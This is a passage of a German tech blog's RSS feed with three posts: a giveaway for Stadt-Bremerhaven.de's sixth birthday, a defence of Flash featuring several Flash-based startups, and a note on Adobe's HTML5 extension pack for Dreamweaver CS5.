<p>Man glaubt es kaum aber es ist soweit. Heute wird der, meiner Meinung nach <strong>bekannteste, Tech-Blog</strong> von <strong>Carsten Knobloch aka Caschy 6 Jahre alt</strong>. Wer es nicht kennt: <a title="Stadt-Bremerhaven" href="http://www.stadt-bremerhaven.de" target="_blank">Stadt-Bremerhaven</a> heißt das gute Kind von Carsten und sollte ursprünglich &#8220;(&#8230;)eine Ablage für Dinge werden, die einfach raus müssen&#8221;. Mittlerweile hat Stadt-Bremerhaven &#8220;<strong>täglich über 20.000 unique Besucher</strong>&#8220;, &#8220;<strong>über 19.000 Feed-Abonnenten</strong>&#8220;, &#8220;<strong>über 745.000 unique Visits und 1.100.000 Pageviews</strong> im Monat Januar 2011&#8243; und ist für mich und viele andere Leser die<strong> erste Anlaufstelle</strong> in den Bereichen <strong>Technik, Software, Neuheiten &amp; News</strong> und alles was im <strong>Social Web </strong>noch so passiert.</p>
<p>Zur Feier des Tages hat Carsten sich zusammen mit seinen Sponsoren nicht lumpen lassen. Bis <strong>einschließlich 4.April 2011</strong> verlost Carsten auf und über seinen Blog folgende Gewinne:<span id="more-125"></span></p>
<ul>
<li>1 x Apple iPad 16 GB WLAN / 3G</li>
<li>1 x Libratone Beat Color Wireless Speaker</li>
<li>1 x Design DVD Regal von Blomus</li>
<li>1 x Philips Senseo Viva Cafe</li>
<li>1 x Western Digital WD My Passport mit USB 3.0 und 500 GB</li>
<li>1 x BlackBerry Curve 3G</li>
<li>1 x Memorex Pure Play Speaker</li>
<li>1 x Kodak All in One C315</li>
<li>1 x Kodak EasyShare Mini Digitalkamera</li>
<li>1 x Kodak Pulse</li>
<li>3 x Apple iPod shuffle 2 GB</li>
<li>1 x Gaming Notebook MEDION ERAZER X6813</li>
<li>1 x Braun Rasierer Series 7</li>
<li>1 x Braun Rasierer Series 5</li>
<li>5 X Gillette Fusion Pro Glide Power</li>
<li>1 x FlexibleLove von myfab</li>
</ul>
<p>WOW! Das nenn ich mal viel! Jetzt stellt sich natürlich sofort die Frage wie man an die guten Dinge rankommt. Carsten hat es einem diesmal sehr leicht gemacht: Um an der <strong>Verlosung </strong>teilzunehmen kann man sich <strong>insgesamt und maximal 11 Lose</strong> durch folgende Aktionen besorgen:</p>
<ul>
<li>1 Los: Ein <strong>Kommentar </strong>in dem dazugehörigen Google Formular am Ende seines Blogbeitrags</li>
<li>3 Lose: Einmal den vorgefertigten <strong>Tweet </strong>&#8220;Ich möchte einen Preis beim Geburtstagsgewinnspiel von @caschy gewinnen: http://wp.me/p4KRN-4PQ #Caschy&#8221; über den eigenen Twitter-Account twittern</li>
<li>7 Lose: Einen <strong>Blogeintrag </strong>über das Gewinnspiel von Carsten im eigenen Blog verfassen, mit Verlinkung auf <a title="http://www.stadt-bremerhaven.de" href="http://www.stadt-bremerhaven.de" target="_blank">http://www.stadt-bremerhaven.de</a> und dem <a title="Gewinnspiel Blogpost" href="http://stadt-bremerhaven.de/die-6-jahre-ich-rock-es-raus-verlosung" target="_blank">Gewinnspiel Blogpost</a></li>
</ul>
<p>Danach nur noch das Google Formular am Ende von Carstens <a title="Gewinnspiel Blogpost" href="http://stadt-bremerhaven.de/die-6-jahre-ich-rock-es-raus-verlosung" target="_blank">Gewinnspiel Blogpost</a> ausfüllen und schon ist man mit dabei. Alle <strong>Gewinne </strong>sind nicht an Gewinnplätze gekoppelt sondern alle <strong>gleichgut zu gewinnen</strong>. Lediglich über die Anzahl der Lose kann man seine <strong>Wahrscheinlichkeit auf einen Gewinn erhöhen</strong>.</p>
<p>Ich finde es wie man sich sicher schon durch diesen Blogpost denken kann eine wirklich gelungene Aktion und freue mich auf die nächsten 6 Jahre mit Caschys Blog Stadt-Bremerhaven.de. Auch wenn einige Leser des Blogs meinen, dass Carsten sich mit seinem Blog nicht mehr treu geblieben ist und immer mehr auf die kommerzielle/bezahlte Schiene abrutscht kann ich diese Meinung absolut nicht teilen. Carsten geht seinen Weg und wird es hoffentlich auch noch ganz viele Jahre so weiter tun wie er es ebend tut.</p>
<p>Also:<a title="Stadt-Bremerhaven.de" href="http://www.stadt-bremerhaven.de" target="_blank"> Stadt-Bremerhaven.de</a> oder den <a title="direkter Blogpost" href="http://stadt-bremerhaven.de/die-6-jahre-ich-rock-es-raus-verlosung" target="_blank">direkten Blogpost</a> besuchen, Details zu den einzelnen Gewinnen erfahren, <strong>mitmachen &amp; gewinnen!</strong></p>
<p><strong>Hiermit nochmal: Alles Gute zum Geburtstag Stadt-Bremerhaven.de</strong></p>
<div class="shr-publisher-125"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fgewinnspiel-zum-geburtstag-von-stadt-bremerhaven-de%2F' data-shr_title='Gewinnspiel+zum+Geburtstag+von+Stadt-Bremerhaven.de'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fgewinnspiel-zum-geburtstag-von-stadt-bremerhaven-de%2F' data-shr_title='Gewinnspiel+zum+Geburtstag+von+Stadt-Bremerhaven.de'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		</item>
		<item>
		<title>Flash, die aussterbende Technologie?</title>
		<link>http://blog.web-elements.de/allgemein/flash-die-aussterbende-technologie/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=flash-die-aussterbende-technologie</link>
		<comments>http://blog.web-elements.de/allgemein/flash-die-aussterbende-technologie/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 09:00:56 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[Applikationen]]></category>
		<category><![CDATA[Aussterben]]></category>
		<category><![CDATA[BoosterMedia]]></category>
		<category><![CDATA[Crystal Mapping]]></category>
		<category><![CDATA[Datenaustausch]]></category>
		<category><![CDATA[Film]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[Hans Zimmer]]></category>
		<category><![CDATA[HTML5]]></category>
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		<category><![CDATA[Ipad]]></category>
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		<category><![CDATA[Movieclips.com]]></category>
		<category><![CDATA[Musik]]></category>
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		<category><![CDATA[Online Besprechungszimmer]]></category>
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		<category><![CDATA[Scribblar.com]]></category>
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		<category><![CDATA[Startups]]></category>
		<category><![CDATA[Szene finden]]></category>
		<category><![CDATA[Transfer]]></category>
		<category><![CDATA[UI]]></category>
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		<category><![CDATA[VIAAS]]></category>
		<category><![CDATA[Web-Webbrowser]]></category>
		<category><![CDATA[WeTransfer]]></category>
		<category><![CDATA[Zitat]]></category>

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		<description><![CDATA[In den Tagen von Apple Ipad und vorallem HTML5 kommen immer wieder viele Leute zu der Aussage, dass Flash langsam anfängt auzusterben. Doch so ist es nicht! Flash steckt gerade erst im jugendlichen Alter und hat noch viel zu bieten. Mit jedem neuen Release kommen weitere neue Features dazu, die das Web erweitern und neue [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
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			</a>
		</div>
<p>In den Tagen von <strong>Apple Ipad</strong> und vorallem <strong>HTML5</strong> kommen immer wieder viele Leute zu der Aussage, dass <strong>Flash </strong>langsam anfängt auzusterben. Doch so ist es nicht! Flash steckt gerade erst im jugendlichen Alter und hat noch viel zu bieten. Mit jedem neuen <strong>Release</strong> kommen weitere<strong> neue Features</strong> dazu, die das Web erweitern und neue <strong>Funktionalitäten </strong>bieten.</p>
<p>Die Zeiten wo Flash als <strong>Webseiten-Intro</strong> genutzt wurde sind längst vorbei. Mittlerweile wird Flash genutzt um <strong>riesige Applikationen</strong> im Web bereit zu stellen, die in jedem Webbrowser gleich aussehen und auch auf Mobilen Geräten verfügbar sind.</p>
<p>Flash wird weiterhin <strong>Innovationen </strong>bieten und noch mehr in den <strong>Vordergrund des Webs </strong>treten &#8211; daran wird auch ein Ipad oder HTML5 nichts ändern. Hier mal ein paar sehr <strong>gelungene Beispiele</strong> von<strong> Startups</strong>, die mit Flash ganz neue Welten öffnen.</p>
<p style="text-align: center;"><span id="more-113"></span><img class="aligncenter" title="UJam" src="http://www.ujam.com/images/LogoHeader.png" alt="" width="313" height="100" /></p>
<p style="text-align: left;"><a href="http://www.ujam.com" target="_blank">UJam</a> wurde von <strong>Hans Zimmer</strong> und <strong>Pharrell Williams</strong> zusammen mit den Musik Software Pionieren Peter Gorges und Axel Hensen gegründet. Sie hatten die Idee eine vollkommen neue und einfache Art zu bieten <strong>Musik </strong>zu erstellen &#8211; gerade auch für Menschen, die gar keine Ahnung von Musik haben.</p>
<p><object id="flashObj" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="297" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="bgcolor" value="#FFFFFF" /><param name="flashVars" value="videoId=88771852001&amp;linkBaseURL=http%3A%2F%2Ftechcrunch.com%2F2010%2F05%2F31%2Fwhy-ujam-didnt-win-techcrunch-disrupt%2F&amp;playerID=63890987001&amp;domain=embed&amp;dynamicStreaming=true" /><param name="base" value="http://admin.brightcove.com" /><param name="seamlesstabbing" value="false" /><param name="allowFullScreen" value="true" /><param name="swLiveConnect" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://c.brightcove.com/services/viewer/federated_f9/63890987001?isVid=1&amp;isUI=1" /><param name="name" value="flashObj" /><param name="flashvars" value="videoId=88771852001&amp;linkBaseURL=http%3A%2F%2Ftechcrunch.com%2F2010%2F05%2F31%2Fwhy-ujam-didnt-win-techcrunch-disrupt%2F&amp;playerID=63890987001&amp;&amp;domain=embed&amp;dynamicStreaming=true" /><param name="allowfullscreen" value="true" /><embed id="flashObj" type="application/x-shockwave-flash" width="480" height="297" src="http://c.brightcove.com/services/viewer/federated_f9/63890987001?isVid=1&amp;isUI=1" name="flashObj" allowscriptaccess="always" swliveconnect="true" allowfullscreen="true" seamlesstabbing="false" base="http://admin.brightcove.com" flashvars="videoId=88771852001&amp;linkBaseURL=http%3A%2F%2Ftechcrunch.com%2F2010%2F05%2F31%2Fwhy-ujam-didnt-win-techcrunch-disrupt%2F&amp;playerID=63890987001&amp;&amp;domain=embed&amp;dynamicStreaming=true" bgcolor="#FFFFFF"></embed></object></p>
<p style="text-align: left;">Es ist eine wirklich <strong>geniale Software</strong>. Man singt oder summt eine Melodie, die man im Kopf hat in sein Mikrofon und die Applikation bastelt daraus Musik. Meiner Meinung nach richtig genial. Momentan befindet sich <strong>UJam</strong> jedoch noch in einer geschlossenen Testphase. Ich kann es kaum erwarten dort mal ein wenig alles auszuprobieren. Sobald es etwas neues dazu gibt &#8211; natürlich hier zu lesen.</p>
<p style="text-align: center;"><img class="aligncenter" title="MoviClips.cpm" src="http://movieclips.com/_assets/_images/logo_header.jpg" alt="" width="270" height="55" /></p>
<p style="text-align: left;">Wer kennt es nicht?! Man erinnert sich an eine <strong>bestimmte Szene aus einem Film</strong> oder ein <strong>bestimmtes Zitat</strong>. Es fehlt einem nur noch der richtige Filmtitel doch er kommt einem nicht in den Sinn. Abhilfe will <a href="http://movieclips.com/" target="_blank">MovieClips.com</a> schaffen. Natürlich kann man versuchen via <strong>YouTube</strong> oder <strong>Google</strong> an die entsprechenden Informationen zu kommen &#8211; jedoch nur weniger erfolgreich oder umständlich. MovieClips.com hat eine Kooperation mit <strong>6 Hollywood Studios</strong> und bietet einem so die Möglichkeit nach einem<strong> bestimmten Schauspieler, einem Filn, einem Zitat oder einer Situation</strong> zu suchen. MovieClips.com liefert einem eine umfangreiche Liste von Filmen, die auf die Suchkreterien zutreffen. Wenn man den richtigen Film ausgesucht hat kann man den Film an die <strong>bestimmte Stelle vorspulen</strong>, die man mit einem Zitat oder ähnliches im Kopf hatte und diese dann natürlich mit Freunden und Bekannten teilen.</p>
<p style="text-align: center;"><a href="http://blog.web-elements.de/wp-content/uploads/navigaya.jpg"><img class="aligncenter" title="Navigaya" src="http://blog.web-elements.de/wp-content/uploads/navigaya.jpg" alt="" width="150" height="100" /></a></p>
<p style="text-align: left;"><a href="http://blog.web-elements.de/wp-content/uploads/navigaya.jpg"></a><br />
<a href="http://www.navigaya.com/" target="_blank">Navigaya</a> ist komplett <strong>Flash Platform basierend</strong> und einfach ein <strong>gigantisches Ding</strong>. Grob umrissen ist es ein <strong>Web-WebBrowser</strong> mit dem man den ganzen Inhalt im Netz auf eine sehr nette komfortable Art und Weise anschauen und durchstöbern kann. Es ist wirklich schwierig zu beschreiben was Navigaya alles kann und was es eigentlich ist. Deswegen hier ein<strong> offizielles Video</strong>:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="340" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/4lp8aMhluDs&amp;hl=de_DE&amp;fs=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="340" src="http://www.youtube.com/v/4lp8aMhluDs&amp;hl=de_DE&amp;fs=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>TechCrunch’s Roi Carthy schrieb:</p>
<blockquote><p>What single adjective best describes Navigaya? Gorgeous? Stylish? Addictive? Having spent a few weeks playing with it, I’d have to concede, all of the above. There really is just no way around it, Navigaya is one of the most mesmerizing content products I’ve seen in a while.</p></blockquote>
<p style="text-align: center;"><a href="http://blog.web-elements.de/wp-content/uploads/WeTransfer.jpg"><img class="aligncenter" title="WeTransfer" src="http://blog.web-elements.de/wp-content/uploads/WeTransfer.jpg" alt="" width="150" height="37" /></a></p>
<p style="text-align: left;"><a href="http://blog.web-elements.de/wp-content/uploads/WeTransfer.jpg"></a><br />
Die Idee bei<a href="https://wetransfer.com/" target="_blank"> WeTransfer</a> ist eigentlich nichts Neues aber wie WeTransfer die Funktionen der Idee umgesetzt hat ist es. Mit WeTransfer kann man bis zu <strong>2GB Datenmenge</strong> an Freunde, Kollegen und Bekannte versenden. Einfach die <strong>Dateie(n) auswählen, die Email Adresse(n)</strong> von den Empfängern eingeben und einen <strong>optionalen Text</strong> schreiben.  Jetzt fehlt nur noch der Klick auf &#8220;Transer&#8221; und dann heißt es warten. In der <strong>Wartezeit</strong> während die Dateien hochgeladen und versendet werden, werden immer <strong>neue Fotos im Hintergrund</strong> der Seite präsentiert. Laut WeTransfer sind das Bilder als Advertising. Vorteile: Keine Installation und keine Registrierung! <strong>Einfach, simpel, schön und entwickelt mit Flash.</strong></p>
<p style="text-align: center;"><img class="aligncenter" title="Scribblar" src="http://www.scribblar.com/images/logo_scribblar.png" alt="" width="233" height="60" /></p>
<p style="text-align: left;"><a href="http://www.scribblar.com/" target="_blank">Scribblar.com</a> ist ein ein einfach zu nutzender <strong>Online Besprechungszimmer</strong> wo man mit einer<strong> beliebigen Anzahl von Mitarbeitern</strong> an den verschiedensten Sachen zusammenarbeiten kann. <strong>Bilder, shared Whiteboards, live Audio Chat, live Text Chat</strong>. Scribblar ist komplett in Flash entwickelt, der User oder Kunde muss nichts installieren. Einfach den Link zum Online Meeting Raum weitersenden und<strong> binnen Sekunden</strong> kann man zum Beispiel brainstormen oder online Training Stunden abhalten.</p>
<ul>
<li><a href="http://boostermedia.com/" target="_blank">BoosterMedia</a> entwickelt Flash games.</li>
<li><a href="http://viaas.com/" target="_blank">VIAAS</a> ist ein Video Monitoring System das auf <strong>Flex und Flash</strong> beruht.</li>
<li><a href="http://www.crystalmapping.com/" target="_blank">Crystal Mapping</a> bietet Mind Mapping in einem <strong>Flash basierenden UI</strong>.</li>
<li>Mit <a href="http://www.jilster.nl/" target="_blank">Jilster</a> können verschiedene Benutzer an einem Magazin zusammen arbeiten. Das <strong>UI benutzt Flash</strong> und das entstandene Magazin wird auf Papier geliefert.</li>
<li><a href="http://www.scraphd.com/home" target="_blank">ScrapHD</a> ist eine online Scrapbook Applikation.</li>
<li><a href="http://shufflr.tv/" target="_blank">Shufflr.tv</a> ist ein social Video Browser entwickelt auf der <strong>AIR Runtime</strong>.</li>
</ul>
<p style="text-align: left;">Diese Liste an richtig guten Flash Applikationen kann immer so weiter gehen. Die  <strong>Flash Platform</strong> ist eine <strong>beliebte Wahl</strong> für Startups und das wird sich aus gutem Grund wohl so schenll auch nicht ändern.</p>
<p style="text-align: left;"><strong>Flash on!</strong></p>
<div class="shr-publisher-113"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fflash-die-aussterbende-technologie%2F' data-shr_title='Flash%2C+die+aussterbende+Technologie%3F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fflash-die-aussterbende-technologie%2F' data-shr_title='Flash%2C+die+aussterbende+Technologie%3F'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		<title>Adobe Dreamweaver CS5: HTML5 Extension Pack</title>
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		<pubDate>Tue, 08 Jun 2010 07:11:35 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Adobe]]></category>
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		<category><![CDATA[Dreamweaver]]></category>
		<category><![CDATA[Extension]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Pack]]></category>
		<category><![CDATA[Updates]]></category>
		<category><![CDATA[Verbesserung]]></category>

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		<description><![CDATA[Adobe, vertreten durch Kevin Lynch, versicherte auf der Web2.0 Expo vor ungefähr 3 Wochen, dass Adobe die besten Tools auf der Welt entwickeln will um mit HTML5 und CSS3 zu arbeiten. Jetzt ist es soweit. Adobe released eine erste Preview für das HTML5 Extension Pack für den Dreamweaver CS5. Diese Extension soll den Entwickler initial [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
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			</a>
		</div>
<p><strong>Adobe</strong>, vertreten durch<strong> Kevin Lynch</strong>, versicherte auf der <strong>Web2.0 Expo</strong> vor ungefähr 3 Wochen, dass Adobe die besten Tools auf der Welt entwickeln will um mit <strong>HTML5</strong> und <strong>CSS3</strong> zu arbeiten.</p>
<p>Jetzt ist es soweit. Adobe released eine erste <strong>Preview</strong> für das <strong>HTML5 Extension Pack</strong> für den <strong>Dreamweaver CS5</strong>. Diese Extension soll den Entwickler initial unterstützen &#8211; ganz einfach &#8211; <strong>HTML5 Seiten</strong> und <strong>CSS3 Styles</strong> zu erstellen.</p>
<p><span id="more-111"></span>Außerdem enthält die Extension <strong>Updates</strong> und <strong>Webkit Verbesserungen</strong> für die Design Ansicht und das Live View rendering. Während HTML und CSS3 noch nicht finalisiert sind bietet das Extension Pack die Unterstützung für die momentan implementierten Features.</p>
<p>Die Extension erweitert bzw. verbessert den Dreamweaver CS5 in folgenden Punkten:</p>
<ul>
<li>Multiscreen Preview panel &#8211; es erlaubt die Live Ansicht in 3 verschiedenen Größen anzuzeigen</li>
<li>Codeunterstützung von HTML5 Code mit neuen Tags, Attributen und Properties</li>
<li>Updates für die momentan verfügbaren HTML Tags und Attribute</li>
<li>Codeunterstützung für folgende CSS3 Spezifikationen: 2D/3D Transformations, Animations, Background und Border, Basic User Interface, Line Layout, Marquee, Media Queries, MultiColumn, Ruby, Text, and und Transitions</li>
<li>Updates der Live Ansicht für die Unterstützung von &lt;video&gt; und &lt;audio&gt; (Quicktime Installation nötig)</li>
<li>Verbesserung im rendering von CSS3 in der Live Ansicht</li>
</ul>
<p>Die akutelle <strong>Preview des Extension Packs</strong> kann <a href="http://labs.adobe.com/technologies/html5pack/" target="_blank">hier bei Adobe Labs</a> kostenlos heruntergeladen werden.</p>
<div class="shr-publisher-111"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fadobe-dreamweaver-cs5-html5-extension-pack%2F' data-shr_title='Adobe+Dreamweaver+CS5%3A+HTML5+Extension+Pack'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fadobe-dreamweaver-cs5-html5-extension-pack%2F' data-shr_title='Adobe+Dreamweaver+CS5%3A+HTML5+Extension+Pack'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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